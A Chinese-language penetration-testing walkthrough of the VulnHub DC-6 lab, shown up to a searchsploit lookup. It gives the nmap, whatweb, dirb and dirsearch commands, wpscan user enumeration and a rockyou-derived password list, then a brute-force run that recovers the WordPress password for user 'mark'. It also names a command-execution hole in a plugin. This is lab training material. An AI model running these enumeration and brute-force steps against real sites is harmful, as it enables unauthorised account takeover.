vuInhub靶场实战系列-DC-6实战

免责声明

本文档仅供学习和研究使用,请勿使用文中的技术源码用于非法用途,任何人造成的任何负面影响,与本人无关。

目录

  • 免责声明
  • 前言
  • 一、环境配置
  • 二、信息收集
    • 2.1 主机发现
      • 2.1.1 nmap扫描存活主机
      • 2.1.2 arp-scan扫描存活主机
    • 2.2 端口扫描
    • 2.3 指纹识别
      • 2.3.1 尝试指纹识别
      • 2.3.2 修改host文件
      • 2.3.3 再次进行指纹识别
      • 2.3.4 浏览器访问
      • 2.3.5 Wappalyzer插件web指纹信息收集
    • 2.4 目录扫描
      • 2.4.1 dirb命令目录扫描
      • 2.4.2 dirsearch命令目录扫描
    • 2.5 尝试访问
      • 2.5.1 尝试访问wp-admin
      • 2.5.2 尝试访问wp-includes
  • 三、渗透测试
    • 3.1 wpscan爆破用户名
      • 3.1.1 爆破用户名
      • 3.1.2 保存用户名列表
    • 3.2 生成密码字典
    • 3.3 网页爆破
      • 3.3.1 wpscan爆破
      • 3.3.2 hydra爆破
    • 3.4 mark用户相关
      • 3.4.1 登录页面
      • 3.4.2 Tools插件
      • 3.4.3 漏洞搜索
      • 3.4.4 查看poc文件
      • 3.4.5 运行poc文件
      • 3.4.6 反弹shell
        • 3.4.6.1 kali监听6666端口
        • 3.4.6.2 反弹shell
        • 3.4.6.3 调用标准终端
      • 3.4.7 尝试suid提权
      • 3.4.8 更多系统信息
    • 3.5 graham用户相关
      • 3.5.1 切换graham用户
      • 3.5.2 再次尝试sudo提权
      • 3.5.3 bash写入backups.sh
    • 3.6 jens用户相关
      • 3.6.1 切换jens用户
      • 3.6.2 查看suid可执行的命令
      • 3.6.3 查看sudo可执行的命令
    • 3.7 nmap提权
      • 3.7.1 创建shell.nse文件
      • 3.7.2 执行shell.nse文件
      • 3.7.3 查看flag
  • 渗透总结
  • 参考文章


前言

今日测试内容渗透dc-6靶机:

Vulnhub是一个提供各种漏洞环境的靶场平台,大部分环境是做好的虚拟机镜像文件,镜像预先设计了多种漏洞。
本文将介绍dc-6靶机渗透测试,内容包括nmap扫描,arp-scan扫描、whatweb及Wappalyzer网站指纹识别、dirb目录扫描或者dirsearch目录扫描、wpscan爆破wordpress用户名、生成密码字典、wpscan爆破登录页,xhydra爆破网页,最终使用nmap提取获得root权限,linux内核提权等内容。

DESCRIPTION
DC-6 is another purposely built vulnerable lab with the intent of gaining experience in the world of penetration testing.
This isn’t an overly difficult challenge so should be great for beginners.
The ultimate goal of this challenge is to get root and to read the one and only flag.
Linux skills and familiarity with the Linux command line are a must, as is some experience with basic penetration testing tools.
For beginners, Google can be of great assistance, but you can always tweet me at @DCAU7 for assistance to get you going again. But take note: I won’t give you the answer, instead, I’ll give you an idea about how to move forward.


一、环境配置

靶机信息

官方下载链接https://www.vulnhub.com/entry/dc-6,315/
发布日期2019年4月29日
靶场环境大小619MB
作者DCAU
系列DC
难度★☆☆☆☆

渗透测试环境配置,请参考作者前面的内容,不再赘述:

vuInhub靶场实战系列-DC-2实战:https://editor.csdn.net/md/?articleId=139026849


二、信息收集

2.1 主机发现

2.1.1 nmap扫描存活主机

┌──(root㉿kali)-[/home/kali]
└─# nmap -sP 192.168.6.0/24           
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-05-28 11:04 EDT
Nmap scan report for 192.168.6.1
Host is up (0.00037s latency).
MAC Address: 00:50:56:C0:00:08 (VMware)
Nmap scan report for 192.168.6.2
Host is up (0.00045s latency).
MAC Address: 00:50:56:F5:7B:9F (VMware)
Nmap scan report for 192.168.6.157
Host is up (0.00050s latency).
MAC Address: 00:0C:29:C2:C2:87 (VMware)
Nmap scan report for 192.168.6.254
Host is up (0.00037s latency).
MAC Address: 00:50:56:F1:DB:25 (VMware)
Nmap scan report for 192.168.6.66
Host is up.
Nmap done: 256 IP addresses (5 hosts up) scanned in 28.09 seconds

2.1.2 arp-scan扫描存活主机

┌──(root㉿kali)-[/home/kali]
└─# arp-scan -l           
Interface: eth0, type: EN10MB, MAC: 00:0c:29:b6:02:f0, IPv4: 192.168.6.66
Starting arp-scan 1.10.0 with 256 hosts (https://github.com/royhills/arp-scan)
192.168.6.1	00:50:56:c0:00:08	VMware, Inc.
192.168.6.2	00:50:56:f5:7b:9f	VMware, Inc.
192.168.6.157	00:0c:29:c2:c2:87	VMware, Inc.
192.168.6.254	00:50:56:f1:db:25	VMware, Inc.4 packets received by filter, 0 packets dropped by kernel
Ending arp-scan 1.10.0: 256 hosts scanned in 2.324 seconds (110.15 hosts/sec). 4 responded

综上所示,排除kali攻击机IP,得靶场信息:
IP地址:192.168.6.157
MAC地址:00:0c:29:c2:c2:87

2.2 端口扫描

┌──(root㉿kali)-[/home/kali]
└─# nmap -sC -sV -oA dc-7 192.168.6.157
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-05-28 11:07 EDT
Nmap scan report for 192.168.6.157
Host is up (0.00044s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.4p1 Debian 10+deb9u6 (protocol 2.0)
| ssh-hostkey: 
|   2048 3e:52:ce:ce:01:b6:94:eb:7b:03:7d:be:08:7f:5f:fd (RSA)
|   256 3c:83:65:71:dd:73:d7:23:f8:83:0d:e3:46:bc:b5:6f (ECDSA)
|_  256 41:89:9e:85:ae:30:5b:e0:8f:a4:68:71:06:b4:15:ee (ED25519)
80/tcp open  http    Apache httpd 2.4.25 ((Debian))
|_http-title: Did not follow redirect to http://wordy/
|_http-server-header: Apache/2.4.25 (Debian)
MAC Address: 00:0C:29:C2:C2:87 (VMware)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernelService detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 25.35 seconds

nmap端口扫描显示,靶机开放的端口有22和80端口,
22端口:ssh服务
80端口:http服务

2.3 指纹识别

2.3.1 尝试指纹识别

┌──(root㉿kali)-[/home/kali]
└─# whatweb -v 192.168.6.157
WhatWeb report for http://192.168.6.157
Status    : 301 Moved Permanently
Title     : <None>
IP        : 192.168.6.157
Country   : RESERVED, ZZSummary   : Apache[2.4.25], HTTPServer[Debian Linux][Apache/2.4.25 (Debian)], RedirectLocation[http://wordy/], UncommonHeaders[x-redirect-by]Detected Plugins:
[ Apache ]The Apache HTTP Server Project is an effort to develop and maintain an open-source HTTP server for modern operating systems including UNIX and Windows NT. The goal of this project is to provide a secure, efficient and extensible server that provides HTTP services in sync with the current HTTP standards. Version      : 2.4.25 (from HTTP Server Header)Google Dorks: (3)Website     : http://httpd.apache.org/[ HTTPServer ]HTTP server header string. This plugin also attempts to identify the operating system from the server header. OS           : Debian LinuxString       : Apache/2.4.25 (Debian) (from server string)[ RedirectLocation ]HTTP Server string location. used with http-status 301 and 302 String       : http://wordy/ (from location)[ UncommonHeaders ]Uncommon HTTP server headers. The blacklist includes all the standard headers and many non standard but common ones. Interesting but fairly common headers should have their own plugins, eg. x-powered-by, server and x-aspnet-version. Info about headers can be found at www.http-stats.com String       : x-redirect-by (from headers)HTTP Headers:HTTP/1.1 301 Moved PermanentlyDate: Tue, 28 May 2024 15:11:47 GMTServer: Apache/2.4.25 (Debian)X-Redirect-By: WordPressLocation: http://wordy/Content-Length: 0Connection: closeContent-Type: text/html; charset=UTF-8

结果显示:靶机为wordpress CMS内容管理器,没有获得wordpress版本信息,被重定向,解决方案进行下一步操作

2.3.2 修改host文件

向hosts文件中添加以下内容
192.168.6.157 wordy

──(root㉿kali)-[/home/kali]
└─# vim /etc/hosts┌──(root㉿kali)-[/home/kali]
└─# cat /etc/hosts  
127.0.0.1	localhost
127.0.1.1	kali# The following lines are desirable for IPv6 capable hosts
::1     localhost ip6-localhost ip6-loopback
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
192.168.6.154 dc-2
192.168.6.157 wordy

2.3.3 再次进行指纹识别

┌──(root㉿kali)-[/home/kali]
└─# whatweb -v 192.168.6.157
WhatWeb report for http://192.168.6.157
Status    : 301 Moved Permanently
Title     : <None>
IP        : 192.168.6.157
Country   : RESERVED, ZZSummary   : Apache[2.4.25], HTTPServer[Debian Linux][Apache/2.4.25 (Debian)], RedirectLocation[http://wordy/], UncommonHeaders[x-redirect-by]Detected Plugins:
[ Apache ]The Apache HTTP Server Project is an effort to develop and maintain an open-source HTTP server for modern operating systems including UNIX and Windows NT. The goal of this project is to provide a secure, efficient and extensible server that provides HTTP services in sync with the current HTTP standards. Version      : 2.4.25 (from HTTP Server Header)Google Dorks: (3)Website     : http://httpd.apache.org/[ HTTPServer ]HTTP server header string. This plugin also attempts to identify the operating system from the server header. OS           : Debian LinuxString       : Apache/2.4.25 (Debian) (from server string)[ RedirectLocation ]HTTP Server string location. used with http-status 301 and 302 String       : http://wordy/ (from location)[ UncommonHeaders ]Uncommon HTTP server headers. The blacklist includes all the standard headers and many non standard but common ones. Interesting but fairly common headers should have their own plugins, eg. x-powered-by, server and x-aspnet-version. Info about headers can be found at www.http-stats.com String       : x-redirect-by (from headers)HTTP Headers:HTTP/1.1 301 Moved PermanentlyDate: Tue, 28 May 2024 15:25:30 GMTServer: Apache/2.4.25 (Debian)X-Redirect-By: WordPressLocation: http://wordy/Content-Length: 0Connection: closeContent-Type: text/html; charset=UTF-8WhatWeb report for http://wordy/
Status    : 200 OK
Title     : Wordy &#8211; Just another WordPress site
IP        : 192.168.6.157
Country   : RESERVED, ZZSummary   : Apache[2.4.25], HTML5, HTTPServer[Debian Linux][Apache/2.4.25 (Debian)], JQuery[1.12.4], MetaGenerator[WordPress 5.1.1], PoweredBy[WordPress], Script[text/javascript], UncommonHeaders[link], WordPress[5.1.1]Detected Plugins:
[ Apache ]The Apache HTTP Server Project is an effort to develop and maintain an open-source HTTP server for modern operating systems including UNIX and Windows NT. The goal of this project is to provide a secure, efficient and extensible server that provides HTTP services in sync with the current HTTP standards. Version      : 2.4.25 (from HTTP Server Header)Google Dorks: (3)Website     : http://httpd.apache.org/[ HTML5 ]HTML version 5, detected by the doctype declaration [ HTTPServer ]HTTP server header string. This plugin also attempts to identify the operating system from the server header. OS           : Debian LinuxString       : Apache/2.4.25 (Debian) (from server string)[ JQuery ]A fast, concise, JavaScript that simplifies how to traverse HTML documents, handle events, perform animations, and add AJAX. Version      : 1.12.4Website     : http://jquery.com/[ MetaGenerator ]This plugin identifies meta generator tags and extracts its value. String       : WordPress 5.1.1[ PoweredBy ]This plugin identifies instances of 'Powered by x' text and attempts to extract the value for x. String       : WordPress[ Script ]This plugin detects instances of script HTML elements and returns the script language/type. String       : text/javascript[ UncommonHeaders ]Uncommon HTTP server headers. The blacklist includes all the standard headers and many non standard but common ones. Interesting but fairly common headers should have their own plugins, eg. x-powered-by, server and x-aspnet-version. Info about headers can be found at www.http-stats.com String       : link (from headers)[ WordPress ]WordPress is an opensource blogging system commonly used as a CMS. Version      : 5.1.1Aggressive function available (check plugin file or details).Google Dorks: (1)Website     : http://www.wordpress.org/HTTP Headers:HTTP/1.1 200 OKDate: Tue, 28 May 2024 15:25:32 GMTServer: Apache/2.4.25 (Debian)Link: <http://wordy/index.php/wp-json/>; rel="https://api.w.org/"Link: <http://wordy/>; rel=shortlinkVary: Accept-EncodingContent-Encoding: gzipContent-Length: 18051Connection: closeContent-Type: text/html; charset=UTF-8

2.3.4 浏览器访问

dc-6欢迎页

2.3.5 Wappalyzer插件web指纹信息收集

wappalyzer信息收集
相关技术参数如下表:

项目名称技术参数
内容管理系统WordPress5.1.1
编程语言php
博客WordPress5.1.1
操作系统Debian
安装字体Google Font API,Twitter Emoji_(Twemoji)
数据库MySQL
杂项RSS
JavaScript库jQuery Migrate 1.4.1,jQuery1.12.4
Web 服务器Apache HTTPServer 2.4.25
WordPress themesTwenty Seventeen

综上所述, 获得WordPress版本信息:
Version : 5.1.1

2.4 目录扫描

2.4.1 dirb命令目录扫描

┌──(root㉿kali)-[/home/kali]
└─# dirb http://192.168.6.157     -----------------
DIRB v2.22    
By The Dark Raver
-----------------START_TIME: Tue May 28 12:02:29 2024
URL_BASE: http://192.168.6.157/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt-----------------GENERATED WORDS: 4612                                                          ---- Scanning URL: http://192.168.6.157/ ----
+ http://192.168.6.157/index.php (CODE:200|SIZE:53227)                                                                                 
+ http://192.168.6.157/server-status (CODE:403|SIZE:301)                                                                               
==> DIRECTORY: http://192.168.6.157/wp-admin/                                                                                          
==> DIRECTORY: http://192.168.6.157/wp-content/                                                                                        
==> DIRECTORY: http://192.168.6.157/wp-includes/                                                                                       
+ http://192.168.6.157/xmlrpc.php (CODE:405|SIZE:42)                                                                                   ---- Entering directory: http://192.168.6.157/wp-admin/ ----
+ http://192.168.6.157/wp-admin/admin.php (CODE:302|SIZE:0)                                                                            
==> DIRECTORY: http://192.168.6.157/wp-admin/css/                                                                                      
==> DIRECTORY: http://192.168.6.157/wp-admin/images/                                                                                   
==> DIRECTORY: http://192.168.6.157/wp-admin/includes/                                                                                 
+ http://192.168.6.157/wp-admin/index.php (CODE:302|SIZE:0)                                                                            
==> DIRECTORY: http://192.168.6.157/wp-admin/js/                                                                                       
==> DIRECTORY: http://192.168.6.157/wp-admin/maint/                                                                                    
==> DIRECTORY: http://192.168.6.157/wp-admin/network/                                                                                  
==> DIRECTORY: http://192.168.6.157/wp-admin/user/                                                                                     ---- Entering directory: http://192.168.6.157/wp-content/ ----
+ http://192.168.6.157/wp-content/index.php (CODE:200|SIZE:0)                                                                          
==> DIRECTORY: http://192.168.6.157/wp-content/plugins/                                                                                
==> DIRECTORY: http://192.168.6.157/wp-content/themes/                                                                                 
==> DIRECTORY: http://192.168.6.157/wp-content/uploads/                                                                                ---- Entering directory: http://192.168.6.157/wp-includes/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.                        (Use mode '-w' if you want to scan it anyway)---- Entering directory: http://192.168.6.157/wp-admin/css/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.                        (Use mode '-w' if you want to scan it anyway)---- Entering directory: http://192.168.6.157/wp-admin/images/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.                        (Use mode '-w' if you want to scan it anyway)---- Entering directory: http://192.168.6.157/wp-admin/includes/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.                        (Use mode '-w' if you want to scan it anyway)---- Entering directory: http://192.168.6.157/wp-admin/js/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.                        (Use mode '-w' if you want to scan it anyway)---- Entering directory: http://192.168.6.157/wp-admin/maint/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.                        (Use mode '-w' if you want to scan it anyway)---- Entering directory: http://192.168.6.157/wp-admin/network/ ----
+ http://192.168.6.157/wp-admin/network/admin.php (CODE:302|SIZE:0)                                                                    
+ http://192.168.6.157/wp-admin/network/index.php (CODE:302|SIZE:0)                                                                    ---- Entering directory: http://192.168.6.157/wp-admin/user/ ----
+ http://192.168.6.157/wp-admin/user/admin.php (CODE:302|SIZE:0)                                                                       
+ http://192.168.6.157/wp-admin/user/index.php (CODE:302|SIZE:0)                                                                       ---- Entering directory: http://192.168.6.157/wp-content/plugins/ ----
+ http://192.168.6.157/wp-content/plugins/index.php (CODE:200|SIZE:0)                                                                  ---- Entering directory: http://192.168.6.157/wp-content/themes/ ----
+ http://192.168.6.157/wp-content/themes/index.php (CODE:200|SIZE:0)                                                                   ---- Entering directory: http://192.168.6.157/wp-content/uploads/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.                        (Use mode '-w' if you want to scan it anyway)-----------------
END_TIME: Tue May 28 12:03:03 2024
DOWNLOADED: 32284 - FOUND: 12

2.4.2 dirsearch命令目录扫描

┌──(root㉿kali)-[/home/kali]
└─# dirsearch -u 192.168.6.157 -e * -x 404
/usr/lib/python3/dist-packages/dirsearch/dirsearch.py:23: DeprecationWarning: pkg_resources is deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg_resources.htmlfrom pkg_resources import DistributionNotFound, VersionConflict_|. _ _  _  _  _ _|_    v0.4.3(_||| _) (/_(_|| (_| )Extensions: 39772.zip | HTTP method: GET | Threads: 25 | Wordlist size: 9481Output File: /home/kali/reports/_192.168.6.157/_24-05-28_12-05-18.txtTarget: http://192.168.6.157/[12:05:18] Starting: 
[12:05:21] 403 -  299B  - /.ht_wsr.txt                                      
[12:05:21] 403 -  302B  - /.htaccess.orig                                   
[12:05:21] 403 -  302B  - /.htaccess.save
[12:05:21] 403 -  304B  - /.htaccess.sample
[12:05:21] 403 -  302B  - /.htaccess.bak1                                   
[12:05:22] 403 -  300B  - /.htaccess_sc
[12:05:22] 403 -  300B  - /.htaccessBAK
[12:05:22] 403 -  301B  - /.htaccessOLD2                                    
[12:05:22] 403 -  292B  - /.htm                                             
[12:05:22] 403 -  293B  - /.html
[12:05:22] 403 -  302B  - /.htpasswd_test                                   
[12:05:22] 403 -  298B  - /.htpasswds                                       
[12:05:22] 403 -  302B  - /.htaccess_orig                                   
[12:05:22] 403 -  299B  - /.httr-oauth                                      
[12:05:22] 403 -  303B  - /.htaccess_extra                                  
[12:05:22] 403 -  300B  - /.htaccessOLD                                     
[12:05:24] 403 -  292B  - /.php                                             
[12:05:24] 403 -  293B  - /.php3                                            
[12:06:05] 200 -   18KB - /index.php                                        
[12:06:09] 200 -    7KB - /license.txt                                      
[12:06:28] 200 -    3KB - /readme.html                                      
[12:06:31] 403 -  301B  - /server-status                                    
[12:06:31] 403 -  302B  - /server-status/                                   
[12:06:50] 301 -  317B  - /wp-admin  ->  http://192.168.6.157/wp-admin/     
[12:06:50] 302 -    0B  - /wp-admin/  ->  http://wordy/wp-login.php?redirect_to=http%3A%2F%2F192.168.6.157%2Fwp-admin%2F&reauth=1
[12:06:51] 200 -    0B  - /wp-config.php                                    
[12:06:51] 500 -    3KB - /wp-admin/setup-config.php                        
[12:06:51] 400 -    1B  - /wp-admin/admin-ajax.php                          
[12:06:51] 200 -  517B  - /wp-admin/install.php                             
[12:06:51] 301 -  319B  - /wp-content  ->  http://192.168.6.157/wp-content/ 
[12:06:51] 200 -    0B  - /wp-content/
[12:06:51] 403 -  324B  - /wp-content/plugins/akismet/admin.php             
[12:06:51] 500 -    0B  - /wp-content/plugins/hello.php                     
[12:06:51] 403 -  326B  - /wp-content/plugins/akismet/akismet.php           
[12:06:51] 200 -  456B  - /wp-content/uploads/                              
[12:06:52] 200 -    1KB - /wp-login.php                                     
[12:06:52] 302 -    0B  - /wp-signup.php  ->  http://wordy/wp-login.php?action=register
[12:06:52] 500 -    0B  - /wp-includes/rss-functions.php                    
[12:06:52] 200 -    0B  - /wp-cron.php                                      
[12:06:52] 200 -    4KB - /wp-includes/                                     
[12:06:52] 301 -  320B  - /wp-includes  ->  http://192.168.6.157/wp-includes/
[12:06:53] 405 -   42B  - /xmlrpc.php                                       Task Completed

综上所述,发现一些特别的信息:

页面名称目录地址
后台管理页面/wp-admin -> http://192.168.6.157/wp-admin/
文件包含页面/wp-includes -> http://192.168.6.157/wp-includes/
网站内容页面/wp-content -> http://192.168.6.157/wp-content/
网站注册页面/wp-signup.php -> http://wordy/wp-login.php?action=register

dc-6靶机存在文件包含漏洞,越权访问等漏洞,O(∩_∩)O哈哈~

2.5 尝试访问

2.5.1 尝试访问wp-admin

链接地址:http://192.168.6.157/wp-admin/
返回页面:
admin页面

2.5.2 尝试访问wp-includes

链接地址:http://192.168.6.157/wp-includes/
返回页面:
includes页面节选
不登录,无法访问,思路:爆破用户名和密码


三、渗透测试

3.1 wpscan爆破用户名

3.1.1 爆破用户名

┌──(root㉿kali)-[/home/kali]
└─# wpscan --url http://wordy -e u
_________________________________________________________________          _______   _____\ \        / /  __ \ / ____|\ \  /\  / /| |__) | (___   ___  __ _ _ __ ®\ \/  \/ / |  ___/ \___ \ / __|/ _` | '_ \\  /\  /  | |     ____) | (__| (_| | | | |\/  \/   |_|    |_____/ \___|\__,_|_| |_|WordPress Security Scanner by the WPScan TeamVersion 3.8.25Sponsored by Automattic - https://automattic.com/@_WPScan_, @ethicalhack3r, @erwan_lr, @firefart
_______________________________________________________________[i] It seems like you have not updated the database for some time.
[?] Do you want to update now? [Y]es [N]o, default: [N]Y
[i] Updating the Database ...
[i] Update completed.[+] URL: http://wordy/ [192.168.6.157]
[+] Started: Tue May 28 12:44:35 2024Interesting Finding(s):[+] Headers| Interesting Entry: Server: Apache/2.4.25 (Debian)| Found By: Headers (Passive Detection)| Confidence: 100%[+] XML-RPC seems to be enabled: http://wordy/xmlrpc.php| Found By: Direct Access (Aggressive Detection)| Confidence: 100%| References:|  - http://codex.wordpress.org/XML-RPC_Pingback_API|  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_ghost_scanner/|  - https://www.rapid7.com/db/modules/auxiliary/dos/http/wordpress_xmlrpc_dos/|  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_xmlrpc_login/|  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_pingback_access/[+] WordPress readme found: http://wordy/readme.html| Found By: Direct Access (Aggressive Detection)| Confidence: 100%[+] Upload directory has listing enabled: http://wordy/wp-content/uploads/| Found By: Direct Access (Aggressive Detection)| Confidence: 100%[+] The external WP-Cron seems to be enabled: http://wordy/wp-cron.php| Found By: Direct Access (Aggressive Detection)| Confidence: 60%| References:|  - https://www.iplocation.net/defend-wordpress-from-ddos|  - https://github.com/wpscanteam/wpscan/issues/1299[+] WordPress version 5.1.1 identified (Insecure, released on 2019-03-13).| Found By: Rss Generator (Passive Detection)|  - http://wordy/index.php/feed/, <generator>https://wordpress.org/?v=5.1.1</generator>|  - http://wordy/index.php/comments/feed/, <generator>https://wordpress.org/?v=5.1.1</generator>[+] WordPress theme in use: twentyseventeen| Location: http://wordy/wp-content/themes/twentyseventeen/| Last Updated: 2024-04-02T00:00:00.000Z| Readme: http://wordy/wp-content/themes/twentyseventeen/README.txt| [!] The version is out of date, the latest version is 3.6| Style URL: http://wordy/wp-content/themes/twentyseventeen/style.css?ver=5.1.1| Style Name: Twenty Seventeen| Style URI: https://wordpress.org/themes/twentyseventeen/| Description: Twenty Seventeen brings your site to life with header video and immersive featured images. With a fo...| Author: the WordPress team| Author URI: https://wordpress.org/|| Found By: Css Style In Homepage (Passive Detection)|| Version: 2.1 (80% confidence)| Found By: Style (Passive Detection)|  - http://wordy/wp-content/themes/twentyseventeen/style.css?ver=5.1.1, Match: 'Version: 2.1'[+] Enumerating Users (via Passive and Aggressive Methods)Brute Forcing Author IDs - Time: 00:00:00 <=====================================================================================================================================================> (10 / 10) 100.00% Time: 00:00:00[i] User(s) Identified:[+] admin| Found By: Rss Generator (Passive Detection)| Confirmed By:|  Wp Json Api (Aggressive Detection)|   - http://wordy/index.php/wp-json/wp/v2/users/?per_page=100&page=1|  Author Id Brute Forcing - Author Pattern (Aggressive Detection)|  Login Error Messages (Aggressive Detection)[+] graham| Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)| Confirmed By: Login Error Messages (Aggressive Detection)[+] jens| Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)| Confirmed By: Login Error Messages (Aggressive Detection)[+] mark| Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)| Confirmed By: Login Error Messages (Aggressive Detection)[+] sarah| Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)| Confirmed By: Login Error Messages (Aggressive Detection)[!] No WPScan API Token given, as a result vulnerability data has not been output.
[!] You can get a free API token with 25 daily requests by registering at https://wpscan.com/register[+] Finished: Tue May 28 12:44:44 2024
[+] Requests Done: 71
[+] Cached Requests: 6
[+] Data Sent: 16.392 KB
[+] Data Received: 13.463 MB
[+] Memory used: 190.902 MB
[+] Elapsed time: 00:00:08

获得5个用户名:

用户名admingrahamjensmarksarah

3.1.2 保存用户名列表

依次执行以下命令,将用户名保存到users.txt文件中

──(root㉿kali)-[/home/kali/dev_run_app/vulhub/dc-6]
└─# echo "admin\ngraham\njens\nmark\nsarah"> users.txt ┌──(root㉿kali)-[/home/kali/dev_run_app/vulhub/dc-6]
└─# ls
users.txt┌──(root㉿kali)-[/home/kali/dev_run_app/vulhub/dc-6]
└─# cat users.txt                        
admin
graham
jens
mark
sarah

保存用户名字典成功

3.2 生成密码字典

在访问靶场官网的时候,有以下提示:

官方文档提示

┌──(root㉿kali)-[/home/kali/dev_run_app/vulhub/dc-6]
└─# cat /usr/share/wordlists/rockyou.txt | grep k01 > passwords.txt┌──(root㉿kali)-[/home/kali/dev_run_app/vulhub/dc-6]
└─# ls
passwords.txt  users.txt

生成密码字典password.txt成功。

3.3 网页爆破

我们可以使用wpscan和xhydra爆破网页登录页,下面逐一介绍。

3.3.1 wpscan爆破

耗费时间约6分33秒!

┌──(root㉿kali)-[/home/kali/dev_run_app/vulhub/dc-6]
└─# wpscan --url http://wordy -U users.txt -P passwords.txt 
_________________________________________________________________          _______   _____\ \        / /  __ \ / ____|\ \  /\  / /| |__) | (___   ___  __ _ _ __ ®\ \/  \/ / |  ___/ \___ \ / __|/ _` | '_ \\  /\  /  | |     ____) | (__| (_| | | | |\/  \/   |_|    |_____/ \___|\__,_|_| |_|WordPress Security Scanner by the WPScan TeamVersion 3.8.25Sponsored by Automattic - https://automattic.com/@_WPScan_, @ethicalhack3r, @erwan_lr, @firefart
_______________________________________________________________[+] URL: http://wordy/ [192.168.6.157]
[+] Started: Tue May 28 13:43:00 2024Interesting Finding(s):[+] Headers| Interesting Entry: Server: Apache/2.4.25 (Debian)| Found By: Headers (Passive Detection)| Confidence: 100%[+] XML-RPC seems to be enabled: http://wordy/xmlrpc.php| Found By: Direct Access (Aggressive Detection)| Confidence: 100%| References:|  - http://codex.wordpress.org/XML-RPC_Pingback_API|  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_ghost_scanner/|  - https://www.rapid7.com/db/modules/auxiliary/dos/http/wordpress_xmlrpc_dos/|  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_xmlrpc_login/|  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_pingback_access/[+] WordPress readme found: http://wordy/readme.html| Found By: Direct Access (Aggressive Detection)| Confidence: 100%[+] Upload directory has listing enabled: http://wordy/wp-content/uploads/| Found By: Direct Access (Aggressive Detection)| Confidence: 100%[+] The external WP-Cron seems to be enabled: http://wordy/wp-cron.php| Found By: Direct Access (Aggressive Detection)| Confidence: 60%| References:|  - https://www.iplocation.net/defend-wordpress-from-ddos|  - https://github.com/wpscanteam/wpscan/issues/1299[+] WordPress version 5.1.1 identified (Insecure, released on 2019-03-13).| Found By: Rss Generator (Passive Detection)|  - http://wordy/index.php/feed/, <generator>https://wordpress.org/?v=5.1.1</generator>|  - http://wordy/index.php/comments/feed/, <generator>https://wordpress.org/?v=5.1.1</generator>[+] WordPress theme in use: twentyseventeen| Location: http://wordy/wp-content/themes/twentyseventeen/| Last Updated: 2024-04-02T00:00:00.000Z| Readme: http://wordy/wp-content/themes/twentyseventeen/README.txt| [!] The version is out of date, the latest version is 3.6| Style URL: http://wordy/wp-content/themes/twentyseventeen/style.css?ver=5.1.1| Style Name: Twenty Seventeen| Style URI: https://wordpress.org/themes/twentyseventeen/| Description: Twenty Seventeen brings your site to life with header video and immersive featured images. With a fo...| Author: the WordPress team| Author URI: https://wordpress.org/|| Found By: Css Style In Homepage (Passive Detection)|| Version: 2.1 (80% confidence)| Found By: Style (Passive Detection)|  - http://wordy/wp-content/themes/twentyseventeen/style.css?ver=5.1.1, Match: 'Version: 2.1'[+] Enumerating All Plugins (via Passive Methods)[i] No plugins Found.[+] Enumerating Config Backups (via Passive and Aggressive Methods)Checking Config Backups - Time: 00:00:00 <=========================================================> (137 / 137) 100.00% Time: 00:00:00[i] No Config Backups Found.[+] Performing password attack on Xmlrpc against 5 user/s
[SUCCESS] - mark / helpdesk01                                                                                                           
Trying jens / !lak019b Time: 00:06:33 <===============================================           > (12547 / 15215) 82.46%  ETA: ??:??:??[!] Valid Combinations Found:| Username: mark, Password: helpdesk01[!] No WPScan API Token given, as a result vulnerability data has not been output.
[!] You can get a free API token with 25 daily requests by registering at https://wpscan.com/register[+] Finished: Tue May 28 13:49:47 2024
[+] Requests Done: 12720
[+] Cached Requests: 5
[+] Data Sent: 6.222 MB
[+] Data Received: 7.74 MB
[+] Memory used: 312.531 MB
[+] Elapsed time: 00:06:46

3.3.2 hydra爆破

使用xhydra爆破网页登录页面,
参数设置如下:
Target :192.168.6.157
Protocol:http-post-form
Target
Username List:/home/kali/dev_run_app/vulhub/dc-6/users.txt
Password List:/home/kali/dev_run_app/vulhub/dc-6/passwords.txt
passwords
Specific参数设置:
http/https URL:/wp-admin.php:log=USER&pwd=PASS:s=logout
specific
最后点击start
结果
无果,O(∩_∩)O哈哈~ pass

综上所述,获得一个用户名和密码:

序号用户名密码
1markhelpdesk01

3.4 mark用户相关

3.4.1 登录页面

利用爆破获得的用户和密码登录管理页面
管理页面:http://192.168.6.157/wp-admin/
登录成功

3.4.2 Tools插件

登录成功以后,发现Activity_monitor插件
Tools
尝试使用whoami:
whoami
尝试id命令:
id
综上所述,可以发现有RCE(远程命令执行)漏洞

3.4.3 漏洞搜索

┌──(root㉿kali)-[/home/kali]
└─# searchsploit -w Activity monitor
----------------------------------------------------------------------------------------------------------------- --------------------------------------------Exploit Title                                                                                                   |  URL
----------------------------------------------------------------------------------------------------------------- --------------------------------------------
Activity Monitor 2002 2.6 - Remote Denial of Service                                                             | https://www.exploit-db.com/exploits/22690
RedHat Linux 6.0/6.1/6.2 - 'pam_console' Monitor Activity After Logout                                           | https://www.exploit-db.com/exploits/19900
